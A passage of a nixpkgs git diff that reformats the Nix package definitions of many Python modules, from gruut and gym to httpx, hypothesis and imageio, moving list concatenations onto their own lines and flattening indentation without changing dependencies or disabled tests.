+    export GRPC_PYTHON_BUILD_EXT_COMPILER_JOBS="$NIX_BUILD_CORES"
+    if [ -z "$enableParallelBuilding" ]; then
+      GRPC_PYTHON_BUILD_EXT_COMPILER_JOBS=1
+    fi
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    unset AR
+  '';
 
   GRPC_BUILD_WITH_BORING_SSL_ASM = "";
   GRPC_PYTHON_BUILD_SYSTEM_OPENSSL = 1;
diff --git a/pkgs/development/python-modules/gruut/default.nix b/pkgs/development/python-modules/gruut/default.nix
index fa6d81c9b1cb..723a15efea81 100644
--- a/pkgs/development/python-modules/gruut/default.nix
+++ b/pkgs/development/python-modules/gruut/default.nix
@@ -69,29 +69,30 @@ buildPythonPackage rec {
     num2words
     numpy
     python-crfsuite
-  ] ++ optional-dependencies.en;
+  ]
+  ++ optional-dependencies.en;
 
-  optional-dependencies =
-    {
-      train = [
-        pydub
-        rapidfuzz
-      ];
-    }
-    // lib.genAttrs langPkgs (lang: [
-      (callPackage ./language-pack.nix {
-        inherit
-          lang
-          version
-          src
-          build-system
-          ;
-      })
-    ]);
+  optional-dependencies = {
+    train = [
+      pydub
+      rapidfuzz
+    ];
+  }
+  // lib.genAttrs langPkgs (lang: [
+    (callPackage ./language-pack.nix {
+      inherit
+        lang
+        version
+        src
+        build-system
+        ;
+    })
+  ]);
 
   nativeCheckInputs = [
     pytestCheckHook
-  ] ++ lib.flatten (lib.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (lib.attrValues optional-dependencies);
 
   disabledTests = [
     # https://github.com/rhasspy/gruut/issues/25
diff --git a/pkgs/development/python-modules/gudhi/default.nix b/pkgs/development/python-modules/gudhi/default.nix
index 145c9158b6a8..124b2660c5b9 100644
--- a/pkgs/development/python-modules/gudhi/default.nix
+++ b/pkgs/development/python-modules/gudhi/default.nix
@@ -46,7 +46,8 @@ buildPythonPackage rec {
     gmp
     cgal
     mpfr
-  ] ++ lib.optionals enableTBB [ tbb ];
+  ]
+  ++ lib.optionals enableTBB [ tbb ];
   propagatedBuildInputs = [
     numpy
     scipy
diff --git a/pkgs/development/python-modules/guessit/default.nix b/pkgs/development/python-modules/guessit/default.nix
index c86ecb59ef33..4c2ab5e8a403 100644
--- a/pkgs/development/python-modules/guessit/default.nix
+++ b/pkgs/development/python-modules/guessit/default.nix
@@ -28,7 +28,8 @@ buildPythonPackage rec {
     rebulk
     babelfish
     python-dateutil
-  ] ++ lib.optionals (pythonOlder "3.9") [ importlib-resources ];
+  ]
+  ++ lib.optionals (pythonOlder "3.9") [ importlib-resources ];
 
   nativeCheckInputs = [
     py
diff --git a/pkgs/development/python-modules/guidance/default.nix b/pkgs/development/python-modules/guidance/default.nix
index c08c56a68533..42c32d483c78 100644
--- a/pkgs/development/python-modules/guidance/default.nix
+++ b/pkgs/development/python-modules/guidance/default.nix
@@ -85,7 +85,8 @@ buildPythonPackage rec {
     tokenizers
     torch
     writableTmpDirAsHomeHook
-  ] ++ optional-dependencies.schemas;
+  ]
+  ++ optional-dependencies.schemas;
 
   pytestFlagsArray = [ "tests/unit" ];
 
diff --git a/pkgs/development/python-modules/gunicorn/default.nix b/pkgs/development/python-modules/gunicorn/default.nix
index eaa37aafa6bf..f3c8b075c0af 100644
--- a/pkgs/development/python-modules/gunicorn/default.nix
+++ b/pkgs/development/python-modules/gunicorn/default.nix
@@ -51,7 +51,8 @@ buildPythonPackage rec {
   nativeCheckInputs = [
     pytestCheckHook
     pytest-cov-stub
-  ] ++ lib.flatten (lib.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (lib.attrValues optional-dependencies);
 
   meta = {
     description = "gunicorn 'Green Unicorn' is a WSGI HTTP Server for UNIX, fast clients and sleepy applications";
diff --git a/pkgs/development/python-modules/gvm-tools/default.nix b/pkgs/development/python-modules/gvm-tools/default.nix
index 455bfc0acec1..b0ed13687360 100644
--- a/pkgs/development/python-modules/gvm-tools/default.nix
+++ b/pkgs/development/python-modules/gvm-tools/default.nix
@@ -34,7 +34,8 @@ buildPythonPackage rec {
   disabledTests = [
     # Don't test sending
     "SendTargetTestCase"
-  ] ++ lib.optionals (pythonAtLeast "3.10") [ "HelpFormattingParserTestCase" ];
+  ]
+  ++ lib.optionals (pythonAtLeast "3.10") [ "HelpFormattingParserTestCase" ];
 
   pythonImportsCheck = [ "gvmtools" ];
 
diff --git a/pkgs/development/python-modules/gym/default.nix b/pkgs/development/python-modules/gym/default.nix
index 8e9f227bb6ee..764a9cda9e28 100644
--- a/pkgs/development/python-modules/gym/default.nix
+++ b/pkgs/development/python-modules/gym/default.nix
@@ -62,7 +62,8 @@ buildPythonPackage rec {
     cloudpickle
     numpy
     gym-notices
-  ] ++ lib.optionals (pythonOlder "3.10") [ importlib-metadata ];
+  ]
+  ++ lib.optionals (pythonOlder "3.10") [ importlib-metadata ];
 
   pythonImportsCheck = [ "gym" ];
 
@@ -78,45 +79,44 @@ buildPythonPackage rec {
     export SDL_VIDEODRIVER=dummy
   '';
 
-  disabledTests =
-    [
-      # TypeError: Converting from sequence to b2Vec2, expected int/float arguments index 0
-      "test_box_actions_out_of_bound"
-      "test_env_determinism_rollout"
-      "test_envs_pass_env_checker"
-      "test_frame_stack"
-      "test_make_autoreset_true"
-      "test_passive_checker_wrapper_warnings"
-      "test_pickle_env"
-      "test_render_modes"
+  disabledTests = [
+    # TypeError: Converting from sequence to b2Vec2, expected int/float arguments index 0
+    "test_box_actions_out_of_bound"
+    "test_env_determinism_rollout"
+    "test_envs_pass_env_checker"
+    "test_frame_stack"
+    "test_make_autoreset_true"
+    "test_passive_checker_wrapper_warnings"
+    "test_pickle_env"
+    "test_render_modes"
 
-      # TypeError: in method 'b2RevoluteJoint___SetMotorSpeed', argument 2 of type 'float32'
-      "test_box_actions_out_of_bound"
+    # TypeError: in method 'b2RevoluteJoint___SetMotorSpeed', argument 2 of type 'float32'
+    "test_box_actions_out_of_bound"
 
-      # TypeError: exceptions must be derived from Warning, not <class 'NoneType'>
-      "test_dict_init"
+    # TypeError: exceptions must be derived from Warning, not <class 'NoneType'>
+    "test_dict_init"
 
-      # ValueError: setting an array element with a sequence.
-      # The requested array has an inhomogeneous shape after 1 dimensions.
-      # The detected shape was (2,) + inhomogeneous part
-      "test_sample_contains"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # Fatal Python error: Aborted
-      # gym/envs/classic_control/cartpole.py", line 227 in render
-      "test_autoclose"
-      "test_call_async_vector_env"
-      "test_call_sync_vector_env"
-      "test_human_rendering"
-      "test_make_render_mode"
-      "test_order_enforcing"
-      "test_record_simple"
-      "test_record_video_reset"
-      "test_record_video_step_trigger"
-      "test_record_video_using_default_trigger"
-      "test_record_video_within_vecto"
-      "test_text_envs"
-    ];
+    # ValueError: setting an array element with a sequence.
+    # The requested array has an inhomogeneous shape after 1 dimensions.
+    # The detected shape was (2,) + inhomogeneous part
+    "test_sample_contains"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # Fatal Python error: Aborted
+    # gym/envs/classic_control/cartpole.py", line 227 in render
+    "test_autoclose"
+    "test_call_async_vector_env"
+    "test_call_sync_vector_env"
+    "test_human_rendering"
+    "test_make_render_mode"
+    "test_order_enforcing"
+    "test_record_simple"
+    "test_record_video_reset"
+    "test_record_video_step_trigger"
+    "test_record_video_using_default_trigger"
+    "test_record_video_within_vecto"
+    "test_text_envs"
+  ];
 
   disabledTestPaths = lib.optionals stdenv.hostPlatform.isDarwin [
     # Fatal Python error: Aborted
diff --git a/pkgs/development/python-modules/gymnasium/default.nix b/pkgs/development/python-modules/gymnasium/default.nix
index e2a18f356ce8..819cd59fbf5b 100644
--- a/pkgs/development/python-modules/gymnasium/default.nix
+++ b/pkgs/development/python-modules/gymnasium/default.nix
@@ -50,7 +50,8 @@ buildPythonPackage rec {
     farama-notifications
     numpy
     typing-extensions
-  ] ++ lib.optionals (pythonOlder "3.10") [ importlib-metadata ];
+  ]
+  ++ lib.optionals (pythonOlder "3.10") [ importlib-metadata ];
 
   pythonImportsCheck = [ "gymnasium" ];
 
diff --git a/pkgs/development/python-modules/h3/default.nix b/pkgs/development/python-modules/h3/default.nix
index b9208fdd8ed3..f1379544ba21 100644
--- a/pkgs/development/python-modules/h3/default.nix
+++ b/pkgs/development/python-modules/h3/default.nix
@@ -34,19 +34,18 @@ buildPythonPackage rec {
     pytest-cov-stub
   ];
 
-  build-system =
-    [
-      scikit-build-core
-      cmake
-      cython
-      ninja
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      # On Linux the .so files ends up referring to libh3.so instead of the full
-      # Nix store path. I'm not sure why this is happening! On Darwin it works
-      # fine.
-      autoPatchelfHook
-    ];
+  build-system = [
+    scikit-build-core
+    cmake
+    cython
+    ninja
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    # On Linux the .so files ends up referring to libh3.so instead of the full
+    # Nix store path. I'm not sure why this is happening! On Darwin it works
+    # fine.
+    autoPatchelfHook
+  ];
 
   # This is not needed per-se, it's only added for autoPatchelfHook to work
   # correctly. See the note above ^^
diff --git a/pkgs/development/python-modules/h5py/default.nix b/pkgs/development/python-modules/h5py/default.nix
index 26b2a38984ed..cd43c0e05798 100644
--- a/pkgs/development/python-modules/h5py/default.nix
+++ b/pkgs/development/python-modules/h5py/default.nix
@@ -67,13 +67,14 @@ buildPythonPackage rec {
 
   buildInputs = [ hdf5 ] ++ lib.optional mpiSupport mpi;
 
-  dependencies =
-    [ numpy ]
-    ++ lib.optionals mpiSupport [
-      mpi4py
-      openssh
-    ]
-    ++ lib.optionals (pythonOlder "3.8") [ cached-property ];
+  dependencies = [
+    numpy
+  ]
+  ++ lib.optionals mpiSupport [
+    mpi4py
+    openssh
+  ]
+  ++ lib.optionals (pythonOlder "3.8") [ cached-property ];
 
   nativeCheckInputs = [
     pytestCheckHook
diff --git a/pkgs/development/python-modules/hap-python/default.nix b/pkgs/development/python-modules/hap-python/default.nix
index dec814e0d632..00e7776fb290 100644
--- a/pkgs/development/python-modules/hap-python/default.nix
+++ b/pkgs/development/python-modules/hap-python/default.nix
@@ -51,7 +51,8 @@ buildPythonPackage rec {
     pytest-asyncio
     pytest-timeout
     pytestCheckHook
-  ] ++ optional-dependencies.QRCode;
+  ]
+  ++ optional-dependencies.QRCode;
 
   disabledTestPaths = [
     # Disable tests requiring network access
diff --git a/pkgs/development/python-modules/hatch-fancy-pypi-readme/default.nix b/pkgs/development/python-modules/hatch-fancy-pypi-readme/default.nix
index 2c96dd85be1e..c8efd2065cc4 100644
--- a/pkgs/development/python-modules/hatch-fancy-pypi-readme/default.nix
+++ b/pkgs/development/python-modules/hatch-fancy-pypi-readme/default.nix
@@ -25,10 +25,11 @@ buildPythonPackage rec {
 
   nativeBuildInputs = [ hatchling ];
 
-  propagatedBuildInputs =
-    [ hatchling ]
-    ++ lib.optionals (pythonOlder "3.11") [ tomli ]
-    ++ lib.optionals (pythonOlder "3.8") [ typing-extensions ];
+  propagatedBuildInputs = [
+    hatchling
+  ]
+  ++ lib.optionals (pythonOlder "3.11") [ tomli ]
+  ++ lib.optionals (pythonOlder "3.8") [ typing-extensions ];
 
   nativeCheckInputs = [
     build
diff --git a/pkgs/development/python-modules/hatch-jupyter-builder/default.nix b/pkgs/development/python-modules/hatch-jupyter-builder/default.nix
index 1dd0336158fa..849d3b85ed88 100644
--- a/pkgs/development/python-modules/hatch-jupyter-builder/default.nix
+++ b/pkgs/development/python-modules/hatch-jupyter-builder/default.nix
@@ -30,7 +30,8 @@ buildPythonPackage rec {
     pytest-mock
     pytestCheckHook
     twine
-  ] ++ lib.optionals (pythonOlder "3.11") [ tomli ];
+  ]
+  ++ lib.optionals (pythonOlder "3.11") [ tomli ];
 
   disabledTests = [
     # tests pip install, which unsurprisingly fails
diff --git a/pkgs/development/python-modules/hatch-odoo/default.nix b/pkgs/development/python-modules/hatch-odoo/default.nix
index 6e4d0c500b45..eece66c409e5 100644
--- a/pkgs/development/python-modules/hatch-odoo/default.nix
+++ b/pkgs/development/python-modules/hatch-odoo/default.nix
@@ -22,14 +22,13 @@ buildPythonPackage rec {
 
   buildInputs = [ hatch-vcs ];
 
-  propagatedBuildInputs =
-    [
-      hatchling
-      manifestoo-core
-    ]
-    ++ lib.optionals (pythonOlder "3.11") [
-      tomli
-    ];
+  propagatedBuildInputs = [
+    hatchling
+    manifestoo-core
+  ]
+  ++ lib.optionals (pythonOlder "3.11") [
+    tomli
+  ];
 
   meta = with lib; {
     description = "A hatch plugin to develop and package Odoo projects";
diff --git a/pkgs/development/python-modules/hatch-vcs/default.nix b/pkgs/development/python-modules/hatch-vcs/default.nix
index f7fe24743c7b..ecdb955fa719 100644
--- a/pkgs/development/python-modules/hatch-vcs/default.nix
+++ b/pkgs/development/python-modules/hatch-vcs/default.nix
@@ -34,18 +34,17 @@ buildPythonPackage rec {
     pytestCheckHook
   ];
 
-  disabledTests =
-    [
-      # incompatible with setuptools-scm>=7
-      # https://github.com/ofek/hatch-vcs/issues/8
-      "test_write"
-    ]
-    ++ lib.optionals (pythonOlder "3.11") [
-      # https://github.com/pypa/setuptools_scm/issues/1038, fixed in setuptools_scm@8.1.0
-      "test_basic"
-      "test_root"
-      "test_metadata"
-    ];
+  disabledTests = [
+    # incompatible with setuptools-scm>=7
+    # https://github.com/ofek/hatch-vcs/issues/8
+    "test_write"
+  ]
+  ++ lib.optionals (pythonOlder "3.11") [
+    # https://github.com/pypa/setuptools_scm/issues/1038, fixed in setuptools_scm@8.1.0
+    "test_basic"
+    "test_root"
+    "test_metadata"
+  ];
 
   pythonImportsCheck = [ "hatch_vcs" ];
 
diff --git a/pkgs/development/python-modules/hatchling/default.nix b/pkgs/development/python-modules/hatchling/default.nix
index 00b147ab0e19..e5826164a6a1 100644
--- a/pkgs/development/python-modules/hatchling/default.nix
+++ b/pkgs/development/python-modules/hatchling/default.nix
@@ -36,7 +36,8 @@ buildPythonPackage rec {
     pathspec
     pluggy
     trove-classifiers
-  ] ++ lib.optionals (pythonOlder "3.11") [ tomli ];
+  ]
+  ++ lib.optionals (pythonOlder "3.11") [ tomli ];
 
   pythonImportsCheck = [
     "hatchling"
diff --git a/pkgs/development/python-modules/hf-transfer/default.nix b/pkgs/development/python-modules/hf-transfer/default.nix
index 1683c9958e35..e4a632bc4333 100644
--- a/pkgs/development/python-modules/hf-transfer/default.nix
+++ b/pkgs/development/python-modules/hf-transfer/default.nix
@@ -41,13 +41,12 @@ buildPythonPackage rec {
     rustc
   ];
 
-  buildInputs =
-    [
-      openssl
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libiconv
-    ];
+  buildInputs = [
+    openssl
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libiconv
+  ];
 
   pythonImportsCheck = [ "hf_transfer" ];
 
diff --git a/pkgs/development/python-modules/hishel/default.nix b/pkgs/development/python-modules/hishel/default.nix
index dac2158d8a07..63ea83a7ee7a 100644
--- a/pkgs/development/python-modules/hishel/default.nix
+++ b/pkgs/development/python-modules/hishel/default.nix
@@ -49,7 +49,8 @@ buildPythonPackage rec {
     pytest-asyncio
     pytestCheckHook
     trio
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   pythonImportsCheck = [ "hishel" ];
 
diff --git a/pkgs/development/python-modules/home-assistant-chip-core/default.nix b/pkgs/development/python-modules/home-assistant-chip-core/default.nix
index 1f681207882e..ce3dd7cba288 100644
--- a/pkgs/development/python-modules/home-assistant-chip-core/default.nix
+++ b/pkgs/development/python-modules/home-assistant-chip-core/default.nix
@@ -44,7 +44,8 @@ buildPythonPackage rec {
     deprecation
     mobly
     pygobject3
-  ] ++ home-assistant-chip-wheels.propagatedBuildInputs;
+  ]
+  ++ home-assistant-chip-wheels.propagatedBuildInputs;
 
   pythonNamespaces = [
     "chip"
diff --git a/pkgs/development/python-modules/htmldate/default.nix b/pkgs/development/python-modules/htmldate/default.nix
index 22be4bbe16f5..9fa529db9c2d 100644
--- a/pkgs/development/python-modules/htmldate/default.nix
+++ b/pkgs/development/python-modules/htmldate/default.nix
@@ -39,20 +39,18 @@ buildPythonPackage rec {
   ];
 
   optional-dependencies = {
-    speed =
-      [
-        faust-cchardet
-        urllib3
-      ]
-      ++ lib.optionals (pythonOlder "3.11") [ backports-datetime-fromisoformat ]
-      ++ urllib3.optional-dependencies.brotli;
-    all =
-      [
-        faust-cchardet
-        urllib3
-      ]
-      ++ lib.optionals (pythonOlder "3.11") [ backports-datetime-fromisoformat ]
-      ++ urllib3.optional-dependencies.brotli;
+    speed = [
+      faust-cchardet
+      urllib3
+    ]
+    ++ lib.optionals (pythonOlder "3.11") [ backports-datetime-fromisoformat ]
+    ++ urllib3.optional-dependencies.brotli;
+    all = [
+      faust-cchardet
+      urllib3
+    ]
+    ++ lib.optionals (pythonOlder "3.11") [ backports-datetime-fromisoformat ]
+    ++ urllib3.optional-dependencies.brotli;
   };
 
   nativeCheckInputs = [ pytestCheckHook ];
diff --git a/pkgs/development/python-modules/htseq/default.nix b/pkgs/development/python-modules/htseq/default.nix
index fc965bbae573..014b2121b2ef 100644
--- a/pkgs/development/python-modules/htseq/default.nix
+++ b/pkgs/development/python-modules/htseq/default.nix
@@ -47,7 +47,8 @@ buildPythonPackage rec {
   nativeCheckInputs = [
     pandas
     pytestCheckHook
-  ] ++ optional-dependencies.htseq-qa;
+  ]
+  ++ optional-dependencies.htseq-qa;
 
   preCheck = ''
     rm -r src HTSeq
diff --git a/pkgs/development/python-modules/httpcore/default.nix b/pkgs/development/python-modules/httpcore/default.nix
index 8e6a4980d142..100a3d25e772 100644
--- a/pkgs/development/python-modules/httpcore/default.nix
+++ b/pkgs/development/python-modules/httpcore/default.nix
@@ -59,7 +59,8 @@ buildPythonPackage rec {
     pytest-httpbin
     pytest-trio
     pytestCheckHook
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   pythonImportsCheck = [ "httpcore" ];
 
diff --git a/pkgs/development/python-modules/httpie/default.nix b/pkgs/development/python-modules/httpie/default.nix
index c91cf8d08ce9..198df1dccd0d 100644
--- a/pkgs/development/python-modules/httpie/default.nix
+++ b/pkgs/development/python-modules/httpie/default.nix
@@ -55,7 +55,8 @@ buildPythonPackage rec {
     requests-toolbelt
     setuptools
     rich
-  ] ++ requests.optional-dependencies.socks;
+  ]
+  ++ requests.optional-dependencies.socks;
 
   __darwinAllowLocalNetworking = true;
 
@@ -92,22 +93,21 @@ buildPythonPackage rec {
     "tests/test_plugins_cli.py"
   ];
 
-  disabledTests =
-    [
-      # argparse output changed
-      "test_naked_invocation"
-      # Test is flaky
-      "test_stdin_read_warning"
-      # httpbin compatibility issues
-      "test_compress_form"
-      "test_binary_suppresses_when_terminal"
-      "test_binary_suppresses_when_not_terminal_but_pretty"
-      "test_binary_included_and_correct_when_suitable"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # Test is flaky
-      "test_daemon_runner"
-    ];
+  disabledTests = [
+    # argparse output changed
+    "test_naked_invocation"
+    # Test is flaky
+    "test_stdin_read_warning"
+    # httpbin compatibility issues
+    "test_compress_form"
+    "test_binary_suppresses_when_terminal"
+    "test_binary_suppresses_when_not_terminal_but_pretty"
+    "test_binary_included_and_correct_when_suitable"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # Test is flaky
+    "test_daemon_runner"
+  ];
 
   meta = with lib; {
     description = "Command line HTTP client whose goal is to make CLI human-friendly";
diff --git a/pkgs/development/python-modules/httplib2/default.nix b/pkgs/development/python-modules/httplib2/default.nix
index a6c3e42a5317..4a301a076e26 100644
--- a/pkgs/development/python-modules/httplib2/default.nix
+++ b/pkgs/development/python-modules/httplib2/default.nix
@@ -47,23 +47,22 @@ buildPythonPackage rec {
   # Don't run tests for older Pythons
   doCheck = pythonAtLeast "3.9";
 
-  disabledTests =
-    [
-      # ValueError: Unable to load PEM file.
-      # https://github.com/httplib2/httplib2/issues/192#issuecomment-993165140
-      "test_client_cert_password_verified"
+  disabledTests = [
+    # ValueError: Unable to load PEM file.
+    # https://github.com/httplib2/httplib2/issues/192#issuecomment-993165140
+    "test_client_cert_password_verified"
 
-      # improper pytest marking
-      "test_head_301"
-      "test_303"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # fails with "ConnectionResetError: [Errno 54] Connection reset by peer"
-      "test_connection_close"
-      # fails with HTTP 408 Request Timeout, instead of expected 200 OK
-      "test_timeout_subsequent"
-      "test_connection_close"
-    ];
+    # improper pytest marking
+    "test_head_301"
+    "test_303"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # fails with "ConnectionResetError: [Errno 54] Connection reset by peer"
+    "test_connection_close"
+    # fails with HTTP 408 Request Timeout, instead of expected 200 OK
+    "test_timeout_subsequent"
+    "test_connection_close"
+  ];
 
   pytestFlagsArray = [ "--ignore python2" ];
 
diff --git a/pkgs/development/python-modules/httpx-socks/default.nix b/pkgs/development/python-modules/httpx-socks/default.nix
index eb13e20977ad..a659d619664c 100644
--- a/pkgs/development/python-modules/httpx-socks/default.nix
+++ b/pkgs/development/python-modules/httpx-socks/default.nix
@@ -40,7 +40,8 @@ buildPythonPackage rec {
     httpx
     httpcore
     python-socks
-  ] ++ python-socks.optional-dependencies.asyncio;
+  ]
+  ++ python-socks.optional-dependencies.asyncio;
 
   optional-dependencies = {
     asyncio = [ async-timeout ];
diff --git a/pkgs/development/python-modules/httpx/default.nix b/pkgs/development/python-modules/httpx/default.nix
index e63970de3118..3da1c0570b31 100644
--- a/pkgs/development/python-modules/httpx/default.nix
+++ b/pkgs/development/python-modules/httpx/default.nix
@@ -78,7 +78,8 @@ buildPythonPackage rec {
     pytest-trio
     trustme
     uvicorn
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   # testsuite wants to find installed packages for testing entrypoint
   preCheck = ''
diff --git a/pkgs/development/python-modules/huggingface-hub/default.nix b/pkgs/development/python-modules/huggingface-hub/default.nix
index 923405a61efc..a8797024fc1d 100644
--- a/pkgs/development/python-modules/huggingface-hub/default.nix
+++ b/pkgs/development/python-modules/huggingface-hub/default.nix
@@ -74,7 +74,8 @@ buildPythonPackage rec {
     torch = [
       torch
       safetensors
-    ] ++ safetensors.optional-dependencies.torch;
+    ]
+    ++ safetensors.optional-dependencies.torch;
     hf_transfer = [
       hf-transfer
     ];
diff --git a/pkgs/development/python-modules/hupper/default.nix b/pkgs/development/python-modules/hupper/default.nix
index 0c69762ec8f1..592c4487d872 100644
--- a/pkgs/development/python-modules/hupper/default.nix
+++ b/pkgs/development/python-modules/hupper/default.nix
@@ -21,7 +21,8 @@ buildPythonPackage rec {
   # segfaults in the testsuite that end up failing the tests in a background thread (in myapp)
   nativeCheckInputs = [
     pytestCheckHook
-  ] ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [ watchdog ];
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [ watchdog ];
 
   disabledTestPaths = [
     # Doesn't work with an exported home, RuntimeError: timeout waiting for change to file=/build/tmpgfn145cx
diff --git a/pkgs/development/python-modules/hydra-core/default.nix b/pkgs/development/python-modules/hydra-core/default.nix
index 1484503de7aa..4813140a80cd 100644
--- a/pkgs/development/python-modules/hydra-core/default.nix
+++ b/pkgs/development/python-modules/hydra-core/default.nix
@@ -78,18 +78,17 @@ buildPythonPackage rec {
   ];
 
   # Test environment setup broken under Nix for a few tests:
-  disabledTests =
-    [
-      "test_bash_completion_with_dot_in_path"
-      "test_install_uninstall"
-      "test_config_search_path"
-      # does not raise UserWarning
-      "test_initialize_compat_version_base"
-    ]
-    ++ lib.optionals (pythonAtLeast "3.13") [
-      # AssertionError: Regex pattern did not match
-      "test_failure"
-    ];
+  disabledTests = [
+    "test_bash_completion_with_dot_in_path"
+    "test_install_uninstall"
+    "test_config_search_path"
+    # does not raise UserWarning
+    "test_initialize_compat_version_base"
+  ]
+  ++ lib.optionals (pythonAtLeast "3.13") [
+    # AssertionError: Regex pattern did not match
+    "test_failure"
+  ];
 
   disabledTestPaths = [ "tests/test_hydra.py" ];
 
diff --git a/pkgs/development/python-modules/hypercorn/default.nix b/pkgs/development/python-modules/hypercorn/default.nix
index a91d4704c192..2d468bd64d74 100644
--- a/pkgs/development/python-modules/hypercorn/default.nix
+++ b/pkgs/development/python-modules/hypercorn/default.nix
@@ -56,7 +56,8 @@ buildPythonPackage rec {
     pytest-asyncio
     pytest-trio
     pytestCheckHook
-  ] ++ lib.flatten (lib.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (lib.attrValues optional-dependencies);
 
   __darwinAllowLocalNetworking = true;
 
diff --git a/pkgs/development/python-modules/hypothesis/default.nix b/pkgs/development/python-modules/hypothesis/default.nix
index 6c97e9b54b54..fbfbcf4f92ad 100644
--- a/pkgs/development/python-modules/hypothesis/default.nix
+++ b/pkgs/development/python-modules/hypothesis/default.nix
@@ -56,13 +56,15 @@ buildPythonPackage rec {
   dependencies = [
     attrs
     sortedcontainers
-  ] ++ lib.optionals (pythonOlder "3.11") [ exceptiongroup ];
+  ]
+  ++ lib.optionals (pythonOlder "3.11") [ exceptiongroup ];
 
   nativeCheckInputs = [
     pexpect
     pytest-xdist
     pytestCheckHook
-  ] ++ lib.optionals isPyPy [ tzdata ];
+  ]
+  ++ lib.optionals isPyPy [ tzdata ];
 
   inherit doCheck;
 
@@ -90,31 +92,30 @@ buildPythonPackage rec {
   # [3]: https://github.com/NixOS/nixpkgs/issues/393637
   setupHook = ./setup-hook.sh;
 
-  disabledTests =
-    [
-      # racy, fails to find a file sometimes
-      "test_recreate_charmap"
-      "test_uses_cached_charmap"
-      # fail when using CI profile
-      "test_given_does_not_pollute_state"
-      "test_find_does_not_pollute_state"
-      "test_does_print_on_reuse_from_database"
-      "test_prints_seed_only_on_healthcheck"
-      # calls script with the naked interpreter
-      "test_constants_from_running_file"
-    ]
-    ++ lib.optionals (pythonOlder "3.10") [
-      # not sure why these tests fail with only 3.9
-      # FileNotFoundError: [Errno 2] No such file or directory: 'git'
-      "test_observability"
-      "test_assume_has_status_reason"
-      "test_observability_captures_stateful_reprs"
-    ]
-    ++ lib.optionals (pythonAtLeast "3.12") [
-      # AssertionError: assert [b'def      \...   f(): pass'] == [b'def\\', b'    f(): pass']
-      # https://github.com/HypothesisWorks/hypothesis/issues/4355
-      "test_clean_source"
-    ];
+  disabledTests = [
+    # racy, fails to find a file sometimes
+    "test_recreate_charmap"
+    "test_uses_cached_charmap"
+    # fail when using CI profile
+    "test_given_does_not_pollute_state"
+    "test_find_does_not_pollute_state"
+    "test_does_print_on_reuse_from_database"
+    "test_prints_seed_only_on_healthcheck"
+    # calls script with the naked interpreter
+    "test_constants_from_running_file"
+  ]
+  ++ lib.optionals (pythonOlder "3.10") [
+    # not sure why these tests fail with only 3.9
+    # FileNotFoundError: [Errno 2] No such file or directory: 'git'
+    "test_observability"
+    "test_assume_has_status_reason"
+    "test_observability_captures_stateful_reprs"
+  ]
+  ++ lib.optionals (pythonAtLeast "3.12") [
+    # AssertionError: assert [b'def      \...   f(): pass'] == [b'def\\', b'    f(): pass']
+    # https://github.com/HypothesisWorks/hypothesis/issues/4355
+    "test_clean_source"
+  ];
 
   pythonImportsCheck = [ "hypothesis" ];
 
diff --git a/pkgs/development/python-modules/i-pi/default.nix b/pkgs/development/python-modules/i-pi/default.nix
index 845743f28721..4cb7c46f3def 100644
--- a/pkgs/development/python-modules/i-pi/default.nix
+++ b/pkgs/development/python-modules/i-pi/default.nix
@@ -46,7 +46,8 @@ buildPythonPackage rec {
     pytestCheckHook
     mock
     pytest-mock
-  ] ++ lib.optional (pythonAtLeast "3.12") distutils;
+  ]
+  ++ lib.optional (pythonAtLeast "3.12") distutils;
 
   pytestFlagsArray = [ "ipi_tests/unit_tests" ];
   disabledTests = [
diff --git a/pkgs/development/python-modules/ibis-framework/default.nix b/pkgs/development/python-modules/ibis-framework/default.nix
index 7d10c0d4c3d5..bde163530ffd 100644
--- a/pkgs/development/python-modules/ibis-framework/default.nix
+++ b/pkgs/development/python-modules/ibis-framework/default.nix
@@ -141,7 +141,8 @@ buildPythonPackage rec {
     # `pytest.mark.xdist_group` in the ibis codebase
     pytest-xdist
     writableTmpDirAsHomeHook
-  ] ++ lib.concatMap (name: optional-dependencies.${name}) testBackends;
+  ]
+  ++ lib.concatMap (name: optional-dependencies.${name}) testBackends;
 
   pytestFlagsArray = [
     "-m"
diff --git a/pkgs/development/python-modules/igraph/default.nix b/pkgs/development/python-modules/igraph/default.nix
index 30e3e28d29df..ad8e69cbc045 100644
--- a/pkgs/development/python-modules/igraph/default.nix
+++ b/pkgs/development/python-modules/igraph/default.nix
@@ -62,7 +62,8 @@ buildPythonPackage rec {
 
   nativeCheckInputs = [
     pytestCheckHook
-  ] ++ lib.flatten (lib.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (lib.attrValues optional-dependencies);
 
   disabledTests = [
     "testAuthorityScore"
diff --git a/pkgs/development/python-modules/imageio/default.nix b/pkgs/development/python-modules/imageio/default.nix
index b0ec295e10a7..d697cb76f6f6 100644
--- a/pkgs/development/python-modules/imageio/default.nix
+++ b/pkgs/development/python-modules/imageio/default.nix
@@ -75,14 +75,13 @@ buildPythonPackage rec {
     heif = [ pillow-heif ];
   };
 
-  nativeCheckInputs =
-    [
-      fsspec
-      psutil
-      pytestCheckHook
-    ]
-    ++ fsspec.optional-dependencies.github
